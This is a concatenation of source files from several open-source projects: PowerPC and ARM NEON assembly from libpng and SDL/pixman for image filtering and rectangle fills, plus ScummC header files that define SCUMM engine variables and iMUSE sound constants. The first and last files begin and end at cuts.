lwz %r6, 12(%r14)
lwz %r5, 8(%r14)
lwz %r4, 4(%r14)
lwz %r3, 0(%r14)
lwz %r15, 4(%r1) /* LR (needed?) */
stw %r15, -4(%r14)
lwz %r15, 0(%r1) /* Back chain (needed?) */
stw %r15, -8(%r14)
slwi %r16, %r16, 2 /* (Count * 4, but never > 8) can be shifted from params list */
add %r1, %r14, %r16 /* set frame-pointer to faked frame */
subi %r1, %r1, 8 /* Add LR and back chain save word */
mtctr %r13 /* jump to proc */
bctr
|
alanross/AlvaAR | 8,352 | src/libs/opencv/3rdparty/libpng/arm/filter_neon.S |
/* filter_neon.S - NEON optimised filter functions
*
* Copyright (c) 2018 Cosmin Truta
* Copyright (c) 2014,2017 Glenn Randers-Pehrson
* Written by Mans Rullgard, 2011.
*
* This code is released under the libpng license.
* For conditions of distribution and use, see the disclaimer
* and license in png.h
*/
/* This is required to get the symbol renames, which are #defines, and the
* definitions (or not) of PNG_ARM_NEON_OPT and PNG_ARM_NEON_IMPLEMENTATION.
*/
#define PNG_VERSION_INFO_ONLY
#include "../pngpriv.h"
#if (defined(__linux__) || defined(__FreeBSD__)) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits /* mark stack as non-executable */
#endif
#ifdef PNG_READ_SUPPORTED
/* Assembler NEON support - only works for 32-bit ARM (i.e. it does not work for
* ARM64). The code in arm/filter_neon_intrinsics.c supports ARM64, however it
* only works if -mfpu=neon is specified on the GCC command line. See pngpriv.h
* for the logic which sets PNG_USE_ARM_NEON_ASM:
*/
#if PNG_ARM_NEON_IMPLEMENTATION == 2 /* hand-coded assembler */
#if PNG_ARM_NEON_OPT > 0
#ifdef __ELF__
# define ELF
#else
# define ELF @
#endif
.arch armv7-a
.fpu neon
.macro func name, export=0
.macro endfunc
ELF .size \name, . - \name
.endfunc
.purgem endfunc
.endm
.text
/* Explicitly specifying alignment here because some versions of
* GAS don't align code correctly. This is harmless in correctly
* written versions of GAS.
*/
.align 2
.if \export
.global \name
.endif
ELF .type \name, STT_FUNC
.func \name
\name:
.endm
func png_read_filter_row_sub4_neon, export=1
ldr r3, [r0, #4] @ rowbytes
vmov.i8 d3, #0
1:
vld4.32 {d4[],d5[],d6[],d7[]}, [r1,:128]
vadd.u8 d0, d3, d4
vadd.u8 d1, d0, d5
vadd.u8 d2, d1, d6
vadd.u8 d3, d2, d7
vst4.32 {d0[0],d1[0],d2[0],d3[0]},[r1,:128]!
subs r3, r3, #16
bgt 1b
bx lr
endfunc
func png_read_filter_row_sub3_neon, export=1
ldr r3, [r0, #4] @ rowbytes
vmov.i8 d3, #0
mov r0, r1
mov r2, #3
mov r12, #12
vld1.8 {q11}, [r0], r12
1:
vext.8 d5, d22, d23, #3
vadd.u8 d0, d3, d22
vext.8 d6, d22, d23, #6
vadd.u8 d1, d0, d5
vext.8 d7, d23, d23, #1
vld1.8 {q11}, [r0], r12
vst1.32 {d0[0]}, [r1,:32], r2
vadd.u8 d2, d1, d6
vst1.32 {d1[0]}, [r1], r2
vadd.u8 d3, d2, d7
vst1.32 {d2[0]}, [r1], r2
vst1.32 {d3[0]}, [r1], r2
subs r3, r3, #12
bgt 1b
bx lr
endfunc
func png_read_filter_row_up_neon, export=1
ldr r3, [r0, #4] @ rowbytes
1:
vld1.8 {q0}, [r1,:128]
vld1.8 {q1}, [r2,:128]!
vadd.u8 q0, q0, q1
vst1.8 {q0}, [r1,:128]!
subs r3, r3, #16
bgt 1b
bx lr
endfunc
func png_read_filter_row_avg4_neon, export=1
ldr r12, [r0, #4] @ rowbytes
vmov.i8 d3, #0
1:
vld4.32 {d4[],d5[],d6[],d7[]}, [r1,:128]
vld4.32 {d16[],d17[],d18[],d19[]},[r2,:128]!
vhadd.u8 d0, d3, d16
vadd.u8 d0, d0, d4
vhadd.u8 d1, d0, d17
vadd.u8 d1, d1, d5
vhadd.u8 d2, d1, d18
vadd.u8 d2, d2, d6
vhadd.u8 d3, d2, d19
vadd.u8 d3, d3, d7
vst4.32 {d0[0],d1[0],d2[0],d3[0]},[r1,:128]!
subs r12, r12, #16
bgt 1b
bx lr
endfunc
func png_read_filter_row_avg3_neon, export=1
push {r4,lr}
ldr r12, [r0, #4] @ rowbytes
vmov.i8 d3, #0
mov r0, r1
mov r4, #3
mov lr, #12
vld1.8 {q11}, [r0], lr
1:
vld1.8 {q10}, [r2], lr
vext.8 d5, d22, d23, #3
vhadd.u8 d0, d3, d20
vext.8 d17, d20, d21, #3
vadd.u8 d0, d0, d22
vext.8 d6, d22, d23, #6
vhadd.u8 d1, d0, d17
vext.8 d18, d20, d21, #6
vadd.u8 d1, d1, d5
vext.8 d7, d23, d23, #1
vld1.8 {q11}, [r0], lr
vst1.32 {d0[0]}, [r1,:32], r4
vhadd.u8 d2, d1, d18
vst1.32 {d1[0]}, [r1], r4
vext.8 d19, d21, d21, #1
vadd.u8 d2, d2, d6
vhadd.u8 d3, d2, d19
vst1.32 {d2[0]}, [r1], r4
vadd.u8 d3, d3, d7
vst1.32 {d3[0]}, [r1], r4
subs r12, r12, #12
bgt 1b
pop {r4,pc}
endfunc
.macro paeth rx, ra, rb, rc
vaddl.u8 q12, \ra, \rb @ a + b
vaddl.u8 q15, \rc, \rc @ 2*c
vabdl.u8 q13, \rb, \rc @ pa
vabdl.u8 q14, \ra, \rc @ pb
vabd.u16 q15, q12, q15 @ pc
vcle.u16 q12, q13, q14 @ pa <= pb
vcle.u16 q13, q13, q15 @ pa <= pc
vcle.u16 q14, q14, q15 @ pb <= pc
vand q12, q12, q13 @ pa <= pb && pa <= pc
vmovn.u16 d28, q14
vmovn.u16 \rx, q12
vbsl d28, \rb, \rc
vbsl \rx, \ra, d28
.endm
func png_read_filter_row_paeth4_neon, export=1
ldr r12, [r0, #4] @ rowbytes
vmov.i8 d3, #0
vmov.i8 d20, #0
1:
vld4.32 {d4[],d5[],d6[],d7[]}, [r1,:128]
vld4.32 {d16[],d17[],d18[],d19[]},[r2,:128]!
paeth d0, d3, d16, d20
vadd.u8 d0, d0, d4
paeth d1, d0, d17, d16
vadd.u8 d1, d1, d5
paeth d2, d1, d18, d17
vadd.u8 d2, d2, d6
paeth d3, d2, d19, d18
vmov d20, d19
vadd.u8 d3, d3, d7
vst4.32 {d0[0],d1[0],d2[0],d3[0]},[r1,:128]!
subs r12, r12, #16
bgt 1b
bx lr
endfunc
func png_read_filter_row_paeth3_neon, export=1
push {r4,lr}
ldr r12, [r0, #4] @ rowbytes
vmov.i8 d3, #0
vmov.i8 d4, #0
mov r0, r1
mov r4, #3
mov lr, #12
vld1.8 {q11}, [r0], lr
1:
vld1.8 {q10}, [r2], lr
paeth d0, d3, d20, d4
vext.8 d5, d22, d23, #3
vadd.u8 d0, d0, d22
vext.8 d17, d20, d21, #3
paeth d1, d0, d17, d20
vst1.32 {d0[0]}, [r1,:32], r4
vext.8 d6, d22, d23, #6
vadd.u8 d1, d1, d5
vext.8 d18, d20, d21, #6
paeth d2, d1, d18, d17
vext.8 d7, d23, d23, #1
vld1.8 {q11}, [r0], lr
vst1.32 {d1[0]}, [r1], r4
vadd.u8 d2, d2, d6
vext.8 d19, d21, d21, #1
paeth d3, d2, d19, d18
vst1.32 {d2[0]}, [r1], r4
vmov d4, d19
vadd.u8 d3, d3, d7
vst1.32 {d3[0]}, [r1], r4
subs r12, r12, #12
bgt 1b
pop {r4,pc}
endfunc
#endif /* PNG_ARM_NEON_OPT > 0 */
#endif /* PNG_ARM_NEON_IMPLEMENTATION == 2 (assembler) */
#endif /* READ */
|
AlbanBedel/scummc | 6,936 | include/scummVars7.s | /*
* Copyright (C) 2004-2005 Alban Bedel
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
*/
class ClassNeverClip @ 20;
class ClassAlwaysClip @ 21;
class ClassIgnoreBoxes @ 22;
class ClassYFlip @ 29;
class ClassXFlip @ 30;
class ClassPlayer @ 31;
class ClassUntouchable @ 32;
int VAR_MOUSE_X @ 1;
int VAR_MOUSE_Y @ 2;
int VAR_VIRT_MOUSE_X @ 3;
int VAR_VIRT_MOUSE_Y @ 4;
int VAR_ROOM_WIDTH @ 5;
int VAR_ROOM_HEIGHT @ 6;
int VAR_CAMERA_POS_X @ 7;
int VAR_CAMERA_POS_Y @ 8;
int VAR_OVERRIDE @ 9;
int VAR_ROOM @ 10;
int VAR_ROOM_RESOURCE @ 11;
int VAR_TALK_ACTOR @ 12;
int VAR_HAVE_MSG @ 13;
int VAR_TIMER @ 14;
int VAR_TMR_4 @ 15;
int VAR_TIMEDATE_YEAR @ 16;
int VAR_TIMEDATE_MONTH @ 17;
int VAR_TIMEDATE_DAY @ 18;
int VAR_TIMEDATE_HOUR @ 19;
int VAR_TIMEDATE_MINUTE @ 20;
int VAR_TIMEDATE_SECOND @ 21;
int VAR_LEFTBTN_DOWN @ 22;
int VAR_RIGHTBTN_DOWN @ 23;
int VAR_LEFTBTN_HOLD @ 24;
int VAR_RIGHTBTN_HOLD @ 25;
int VAR_MEMORY_PERFORMANCE @ 26;
int VAR_VIDEO_PERFORMANCE @ 27;
int VAR_GAME_LOADED @ 29;
int VAR_V6_EMSSPACE @ 32;
int VAR_VOICE_MODE @ 33;
int VAR_RANDOM_NR @ 34;
int VAR_NEW_ROOM @ 35;
int VAR_WALKTO_OBJ @ 36;
int VAR_NUM_GLOBAL_OBJS @ 37;
int VAR_CAMERA_DEST_X @ 38;
int VAR_CAMERA_DEST_Y @ 39;
int VAR_CAMERA_FOLLOWED_ACTOR @ 40;
int VAR_SCROLL_SCRIPT @ 50;
int VAR_PRE_ENTRY_SCRIPT @ 51;
int VAR_POST_ENTRY_SCRIPT @ 52;
int VAR_PRE_EXIT_SCRIPT @ 53;
int VAR_POST_EXIT_SCRIPT @ 54;
int VAR_VERB_SCRIPT @ 55;
int VAR_SENTENCE_SCRIPT @ 56;
int VAR_INVENTORY_SCRIPT @ 57;
int VAR_CUTSCENE_START_SCRIPT @ 58;
int VAR_CUTSCENE_END_SCRIPT @ 59;
int VAR_SAVELOAD_SCRIPT @ 60;
int VAR_SAVELOAD_SCRIPT2 @ 61;
int VAR_CUTSCENEEXIT_KEY @ 62;
int VAR_RESTART_KEY @ 63;
int VAR_PAUSE_KEY @ 64;
int VAR_MAINMENU_KEY @ 65;
int VAR_VERSION_KEY @ 66;
int VAR_TALKSTOP_KEY @ 67;
int VAR_TIMER_NEXT @ 97;
int VAR_TMR_1 @ 98;
int VAR_TMR_2 @ 99;
int VAR_TMR_3 @ 100;
int VAR_CAMERA_MIN_X @ 101;
int VAR_CAMERA_MAX_X @ 102;
int VAR_CAMERA_MIN_Y @ 103;
int VAR_CAMERA_MAX_Y @ 104;
int VAR_CAMERA_THRESHOLD_X @ 105;
int VAR_CAMERA_THRESHOLD_Y @ 106;
int VAR_CAMERA_SPEED_X @ 107;
int VAR_CAMERA_SPEED_Y @ 108;
int VAR_CAMERA_ACCEL_X @ 109;
int VAR_CAMERA_ACCEL_Y @ 110;
int VAR_EGO @ 111;
int VAR_CURSORSTATE @ 112;
int VAR_USERPUT @ 113;
int VAR_DEFAULT_TALK_DELAY @ 114;
int VAR_CHARINC @ 115;
int VAR_DEBUGMODE @ 116;
int VAR_FADE_DELAY @ 117;
int VAR_KEYPRESS @ 118;
// FT specific ?
//int VAR_CHARSET_MASK @ 119;
int VAR_VIDEONAME @ 123;
int VAR_STRING2DRAW @ 130;
int VAR_CUSTOMSCALETABLE @ 131;
int VAR_BLAST_ABOVE_TEXT @ 133;
int VAR_MUSIC_BUNDLE_LOADED @ 135;
int VAR_VOICE_BUNDLE_LOADED @ 136;
int VAR_RETURN @ 254;
//
// Directions
//
#define WEST 0
#define EAST 1
#define SOUTH 2
#define NORTH 3
//
// iMUSE constants
//
// Commands
#define IM_SET_MASTER_VOLUME 0x0006
#define IM_GET_MASTER_VOLUME 0x0007
#define IM_START_SOUND 0x0008
#define IM_STOP_SOUND 0x0009
#define IM_STOP_ALL_SOUNDS 0x000B
#define IM_PLAYER_SET 0x000C
#define IM_GET_SOUND_STATUS 0x000D
#define IM_FADE_SOUND 0x000E
#define IM_MAYBE_HOOK 0x000F
#define IM_SET_VOLCHAN 0x0010
#define IM_SET_CHANNEL_VOLUME 0x0011
#define IM_SET_VOLCHAN_ENTRY 0x0012
#define IM_CLEAR_TRIGGER 0x0013
#define IM_PLAYER_GET_PARAM 0x0100
#define IM_PLAYER_SET_PRIORITY 0x0101
#define IM_PLAYER_SET_VOLUME 0x0102
#define IM_PLAYER_SET_PAN 0x0103
#define IM_PLAYER_SET_TRANSPOSE 0x0104
#define IM_PLAYER_SET_DETUNE 0x0105
#define IM_PLAYER_SET_SPEED 0x0106
#define IM_PLAYER_JUMP 0x0107
#define IM_PLAYER_SCAN 0x0108
#define IM_PLAYER_SET_LOOP 0x0109
#define IM_PLAYER_CLEAR_LOOP 0x010A
#define IM_PLAYER_SET_ON_OFF 0x010B
#define IM_PLAYER_SET_HOOK 0x010C
#define IM_PLAYER_FADE 0x010D
#define IM_QUEUE_TRIGGER 0x010E
#define IM_QUEUE_COMMAND 0x010F
#define IM_LIVE_MIDI_ON 0x0111
#define IM_LIVE_MIDI_OFF 0x0112
#define IM_PLAYER_GET_PARAM 0x0113
#define IM_PLAYER_SET_HOOK 0x0114
//#define IM_PLAYER_SET_VOLUME 0x0116
#define IM_QUERY_QUEUE 0x0117
// Player parameters
#define IM_PRIORITY 0x00
#define IM_VOLUME 0x01
#define IM_PAN 0x02
#define IM_TRANSPOSE 0x03
#define IM_DETUNE 0x04
#define IM_SPEED 0x05
#define IM_TRACK_INDEX 0x06
#define IM_BEAT_INDEX 0x07
#define IM_TICK_INDEX 0x08
#define IM_LOOP_COUNTER 0x09
#define IM_LOOP_TO_BEAT 0x0A
#define IM_LOOP_TO_TICK 0x0B
#define IM_LOOP_FROM_BEAT 0x0C
#define IM_LOOP_FROM_TICK 0x0D
#define IM_PART_ON 0x0E
#define IM_PART_VOL 0x0F
#define IM_PART_INSTRUMENT 0x10
#define IM_PART_TRANSPOSE 0x11
#define IM_JUMP_HOOK 0x12
#define IM_TRANSPOSE_HOOK 0x13
#define IM_PART_ON_OFF_HOOK 0x14
#define IM_PART_VOLUME_HOOK 0x15
#define IM_PART_PROGRAM_HOOK 0x16
#define IM_PART_TRANSPOSE_HOOK 0x17
// Hook type
#define IM_HOOK_JUMP 0x00
#define IM_HOOK_TRANSPOSE 0x01
#define IM_HOOK_PART_ON_OFF 0x02
#define IM_HOOK_PART_VOLUME 0x03
#define IM_HOOK_PART_PROGRAM 0x04
#define IM_HOOK_PART_TRANSPOSE 0x05
|
AlbanBedel/scummc | 8,634 | include/scummVars6.s | /* ScummC
* Copyright (C) 2004-2005 Alban Bedel
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
*/
class ClassNeverClip @ 20;
class ClassAlwaysClip @ 21;
class ClassIgnoreBoxes @ 22;
class ClassYFlip @ 29;
class ClassXFlip @ 30;
class ClassPlayer @ 31;
class ClassUntouchable @ 32;
int VAR_KEYPRESS @ 0;
int VAR_EGO @ 1;
int VAR_CAMERA_POS_X @ 2;
int VAR_HAVE_MSG @ 3;
int VAR_ROOM @ 4;
int VAR_OVERRIDE @ 5;
int VAR_MACHINE_SPEED @ 6;
int VAR_ME @ 7;
int VAR_NUM_ACTOR @ 8;
int VAR_V6_SOUNDMODE @ 9;
int VAR_CURRENTDRIVE @ 10;
int VAR_TMR_1 @ 11;
int VAR_TMR_2 @ 12;
int VAR_TMR_3 @ 13;
int VAR_MUSIC_TIMER @ 14;
int VAR_ACTOR_RANGE_MIN @ 15;
int VAR_ACTOR_RANGE_MAX @ 16;
int VAR_CAMERA_MIN_X @ 17;
int VAR_CAMERA_MAX_X @ 18;
int VAR_TIMER_NEXT @ 19;
int VAR_VIRT_MOUSE_X @ 20;
int VAR_VIRT_MOUSE_Y @ 21;
int VAR_ROOM_RESOURCE @ 22;
int VAR_LAST_SOUND @ 23;
int VAR_CUTSCENEEXIT_KEY @ 24;
int VAR_TALK_ACTOR @ 25;
int VAR_CAMERA_FAST_X @ 26;
int VAR_CAMERA_SCRIPT @ 27;
int VAR_PRE_ENTRY_SCRIPT @ 28;
int VAR_POST_ENTRY_SCRIPT @ 29;
int VAR_PRE_EXIT_SCRIPT @ 30;
int VAR_POST_EXIT_SCRIPT @ 31;
int VAR_VERB_SCRIPT @ 32;
int VAR_SENTENCE_SCRIPT @ 33;
int VAR_INVENTORY_SCRIPT @ 34;
int VAR_CUTSCENE_START_SCRIPT @ 35;
int VAR_CUTSCENE_END_SCRIPT @ 36;
int VAR_CHARINC @ 37;
int VAR_WALKTO_OBJ @ 38;
int VAR_DEBUGMODE @ 39;
int VAR_HEAPSPACE @ 40;
int VAR_ROOM_WIDTH @ 41;
int VAR_RESTART_KEY @ 42;
int VAR_PAUSE_KEY @ 43;
int VAR_MOUSE_X @ 44;
int VAR_MOUSE_Y @ 45;
int VAR_TIMER @ 46;
int VAR_TMR_4 @ 47;
int VAR_SOUNDCARD @ 48;
int VAR_VIDEOMODE @ 49;
int VAR_MAINMENU_KEY @ 50;
int VAR_FIXEDDISK @ 51;
int VAR_CURSORSTATE @ 52;
int VAR_USERPUT @ 53;
int VAR_ROOM_HEIGHT @ 54;
int VAR_SOUNDRESULT @ 56;
int VAR_TALKSTOP_KEY @ 57;
int VAR_FADE_DELAY @ 59;
int VAR_NOSUBTITLES @ 60;
int VAR_GUI_ENTRY_SCRIPT @ 61;
int VAR_GUI_EXIT_SCRIPT @ 62;
int VAR_SOUNDPARAM @ 64;
int VAR_SOUNDPARAM2 @ 65;
int VAR_SOUNDPARAM3 @ 66;
int VAR_MOUSEPRESENT @ 67;
int VAR_MEMORY_PERFORMANCE @ 68;
int VAR_VIDEO_PERFORMANCE @ 69; // Zak256 Note: Cashcard for Zak
int VAR_ROOM_FLAG @ 70; // Zak256 Note: Cashcard for Annie
int VAR_GAME_LOADED @ 71; // Zak256 Note: Cashcard for Melissa
int VAR_NEW_ROOM @ 72; // Zak256 Note: Cashcard for Leslie
int VAR_LEFTBTN_HOLD @ 74;
int VAR_RIGHTBTN_HOLD @ 75;
int VAR_V6_EMSSPACE @ 76;
// "Inserez la disquette %c et cliquez sur la souris."
char* VAR_GAME_DISK_MSG @ 90;
// "Impossible d'ouvrir %s, (%c%d) Cliquez sur la souris."
char* VAR_OPEN_FAILED_MSG @ 91;
// "Erreur de lecture disque %c, (%c%d) Cliquez sur la souris."
char* VAR_READ_ERROR_MSG @ 92;
// "Pause. Appuyez sur ESPACE pour continuer."
char* VAR_PAUSE_MSG @ 93;
// "Vous voulez vraiment recommencer? (O/N)o"
char* VAR_RESTART_MSG @ 94;
// "Vous voulez vraiment quitter le jeu? (O/N)O"
char* VAR_QUIT_MSG @ 95;
// "Sauver"
char* VAR_SAVE_BTN @ 96;
// "Charger"
char* VAR_LOAD_BTN @ 97;
// "Jouer"
char* VAR_PLAY_BTN @ 98;
// "Annuler"
char* VAR_CANCEL_BTN @ 99;
// "Quitter"
char* VAR_QUIT_BTN @ 100;
// "OK"
char* VAR_OK_BTN @ 101;
// "Inserez votre disquette de sauvegardes"
char* VAR_SAVE_DISK_MSG @ 102;
// "Vous devez entrer un nom"
char* VAR_ENTER_NAME_MSG @ 103;
// "Partie NON sauvegardee (disque plein?)"
char* VAR_NOT_SAVED_MSG @ 104;
// "Partie NON chargee"
char* VAR_NOT_LOADED_MSG @ 105;
// "Sauvegarde de '%s'"
char* VAR_SAVE_MSG @ 106;
// "Chargement de '%s'"
char* VAR_LOAD_MSG @ 107;
// "Entrez le nom de la SAUVEGARDE"
char* VAR_SAVE_MENU_TITLE @ 108;
// "Entrez le nom de la partie a CHARGER"
char* VAR_LOAD_MENU_TITLE @ 109;
// Array with color index for various parts of the GUI
int* VAR_GUI_COLORS @ 110;
// Array with the debug password
char* VAR_DEBUG_PASSWORD @ 111;
// "Que desirez-vous?"
char* VAR_MAIN_MENU_TITLE @ 117;
int VAR_RANDOM_NR @ 118;
int VAR_TIMEDATE_YEAR @ 119;
int VAR_GAME_VERSION @ 122;
// dunno what it do, vars.cpp say it's SnM specific
int VAR_CHARSET_MASK @ 123;
int VAR_TIMEDATE_HOUR @ 125;
int VAR_TIMEDATE_MINUTE @ 126;
int VAR_TIMEDATE_DAY @ 128;
int VAR_TIMEDATE_MONTH @ 129;
int VAR_RETURN @ 254;
//
// Directions
//
#define WEST 0
#define EAST 1
#define SOUTH 2
#define NORTH 3
//
// iMUSE constants
//
// Commands
#define IM_SET_MASTER_VOLUME 0x0006
#define IM_GET_MASTER_VOLUME 0x0007
#define IM_START_SOUND 0x0008
#define IM_STOP_SOUND 0x0009
#define IM_STOP_ALL_SOUNDS 0x000B
#define IM_PLAYER_SET 0x000C
#define IM_GET_SOUND_STATUS 0x000D
#define IM_FADE_SOUND 0x000E
#define IM_MAYBE_HOOK 0x000F
#define IM_SET_VOLCHAN 0x0010
#define IM_SET_CHANNEL_VOLUME 0x0011
#define IM_SET_VOLCHAN_ENTRY 0x0012
#define IM_CLEAR_TRIGGER 0x0013
#define IM_PLAYER_GET_PARAM 0x0100
#define IM_PLAYER_SET_PRIORITY 0x0101
#define IM_PLAYER_SET_VOLUME 0x0102
#define IM_PLAYER_SET_PAN 0x0103
#define IM_PLAYER_SET_TRANSPOSE 0x0104
#define IM_PLAYER_SET_DETUNE 0x0105
#define IM_PLAYER_SET_SPEED 0x0106
#define IM_PLAYER_JUMP 0x0107
#define IM_PLAYER_SCAN 0x0108
#define IM_PLAYER_SET_LOOP 0x0109
#define IM_PLAYER_CLEAR_LOOP 0x010A
#define IM_PLAYER_SET_ON_OFF 0x010B
#define IM_PLAYER_SET_HOOK 0x010C
#define IM_PLAYER_FADE 0x010D
#define IM_QUEUE_TRIGGER 0x010E
#define IM_QUEUE_COMMAND 0x010F
#define IM_LIVE_MIDI_ON 0x0111
#define IM_LIVE_MIDI_OFF 0x0112
#define IM_PLAYER_GET_PARAM 0x0113
#define IM_PLAYER_SET_HOOK 0x0114
//#define IM_PLAYER_SET_VOLUME 0x0116
#define IM_QUERY_QUEUE 0x0117
// Player parameters
#define IM_PRIORITY 0x00
#define IM_VOLUME 0x01
#define IM_PAN 0x02
#define IM_TRANSPOSE 0x03
#define IM_DETUNE 0x04
#define IM_SPEED 0x05
#define IM_TRACK_INDEX 0x06
#define IM_BEAT_INDEX 0x07
#define IM_TICK_INDEX 0x08
#define IM_LOOP_COUNTER 0x09
#define IM_LOOP_TO_BEAT 0x0A
#define IM_LOOP_TO_TICK 0x0B
#define IM_LOOP_FROM_BEAT 0x0C
#define IM_LOOP_FROM_TICK 0x0D
#define IM_PART_ON 0x0E
#define IM_PART_VOL 0x0F
#define IM_PART_INSTRUMENT 0x10
#define IM_PART_TRANSPOSE 0x11
#define IM_JUMP_HOOK 0x12
#define IM_TRANSPOSE_HOOK 0x13
#define IM_PART_ON_OFF_HOOK 0x14
#define IM_PART_VOLUME_HOOK 0x15
#define IM_PART_PROGRAM_HOOK 0x16
#define IM_PART_TRANSPOSE_HOOK 0x17
// Hook type
#define IM_HOOK_JUMP 0x00
#define IM_HOOK_TRANSPOSE 0x01
#define IM_HOOK_PART_ON_OFF 0x02
#define IM_HOOK_PART_VOLUME 0x03
#define IM_HOOK_PART_PROGRAM 0x04
#define IM_HOOK_PART_TRANSPOSE 0x05
|
alanwoolley/CorsixTH-Android | 12,846 | jni/SDL/src/video/arm/pixman-arm-neon-asm.S | /*
* Copyright © 2009 Nokia Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
* Author: Siarhei Siamashka (siarhei.siamashka@nokia.com)
*/
/*
* Copyright (c) 2018 RISC OS Open Ltd
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
/* Prevent the stack from becoming executable for no reason... */
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif
.text
.fpu neon
.arch armv7a
.object_arch armv4
.eabi_attribute 10, 0 /* suppress Tag_FP_arch */
.eabi_attribute 12, 0 /* suppress Tag_Advanced_SIMD_arch */
.arm
.altmacro
.p2align 2
#include "pixman-arm-asm.h"
#include "pixman-arm-neon-asm.h"
/* Global configuration options and preferences */
/*
* The code can optionally make use of unaligned memory accesses to improve
* performance of handling leading/trailing pixels for each scanline.
* Configuration variable RESPECT_STRICT_ALIGNMENT can be set to 0 for
* example in linux if unaligned memory accesses are not configured to
* generate.exceptions.
*/
.set RESPECT_STRICT_ALIGNMENT, 1
/*
* Set default prefetch type. There is a choice between the following options:
*
* PREFETCH_TYPE_NONE (may be useful for the ARM cores where PLD is set to work
* as NOP to workaround some HW bugs or for whatever other reason)
*
* PREFETCH_TYPE_SIMPLE (may be useful for simple single-issue ARM cores where
* advanced prefetch intruduces heavy overhead)
*
* PREFETCH_TYPE_ADVANCED (useful for superscalar cores such as ARM Cortex-A8
* which can run ARM and NEON instructions simultaneously so that extra ARM
* instructions do not add (many) extra cycles, but improve prefetch efficiency)
*
* Note: some types of function can't support advanced prefetch and fallback
* to simple one (those which handle 24bpp pixels)
*/
.set PREFETCH_TYPE_DEFAULT, PREFETCH_TYPE_ADVANCED
/* Prefetch distance in pixels for simple prefetch */
.set PREFETCH_DISTANCE_SIMPLE, 64
/******************************************************************************/
/* We can actually do significantly better than the Pixman macros, at least for
* the case of fills, by using a carefully scheduled inner loop. Cortex-A53
* shows an improvement of up to 78% in ideal cases (large fills to L1 cache).
*/
.macro generate_fillrect_function name, bpp, log2Bpp
/*
* void name(int32_t w, int32_t h, uint8_t *dst, int32_t dst_stride, uint8_t src);
* On entry:
* a1 = width, pixels
* a2 = height, rows
* a3 = pointer to top-left destination pixel
* a4 = stride, pixels
* [sp] = pixel value to fill with
* Within the function:
* v1 = width remaining
* v2 = vst offset
* v3 = alternate pointer
* ip = data ARM register
*/
pixman_asm_function name
vld1.\bpp {d0[],d1[]}, [sp]
sub a4, a1
vld1.\bpp {d2[],d3[]}, [sp]
cmp a1, #(15+64) >> \log2Bpp
push {v1-v3,lr}
vmov ip, s0
blo 51f
/* Long-row case */
mov v2, #64
1: mov v1, a1
ands v3, a3, #15
beq 2f
/* Leading pixels */
rsb v3, v3, #16 /* number of leading bytes until 16-byte aligned */
sub v1, v1, v3, lsr #\log2Bpp
rbit v3, v3
.if bpp <= 16
.if bpp == 8
tst a3, #1 /* bit 0 unaffected by rsb so can avoid register interlock */
strneb ip, [a3], #1
tst v3, #1<<30
.else
tst a3, #2 /* bit 1 unaffected by rsb (assuming halfword alignment) so can avoid register interlock */
.endif
strneh ip, [a3], #2
.endif
movs v3, v3, lsl #3
vstmcs a3!, {s0}
vstmmi a3!, {d0}
2: sub v1, v1, #64 >> \log2Bpp /* simplifies inner loop termination */
add v3, a3, #32
/* Inner loop */
3: vst1.\bpp {q0-q1}, [a3 :128], v2
subs v1, v1, #64 >> \log2Bpp
vst1.\bpp {q0-q1}, [v3 :128], v2
bhs 3b
/* Trailing pixels */
4: movs v1, v1, lsl #27 + \log2Bpp
bcc 5f
vst1.\bpp {q0-q1}, [a3 :128]!
5: bpl 6f
vst1.\bpp {q0}, [a3 :128]!
6: movs v1, v1, lsl #2
vstmcs a3!, {d0}
vstmmi a3!, {s0}
.if bpp <= 16
movs v1, v1, lsl #2
strcsh ip, [a3], #2
.if bpp == 8
strmib ip, [a3], #1
.endif
.endif
subs a2, a2, #1
add a3, a3, a4, lsl #\log2Bpp
bhi 1b
pop {v1-v3,pc}
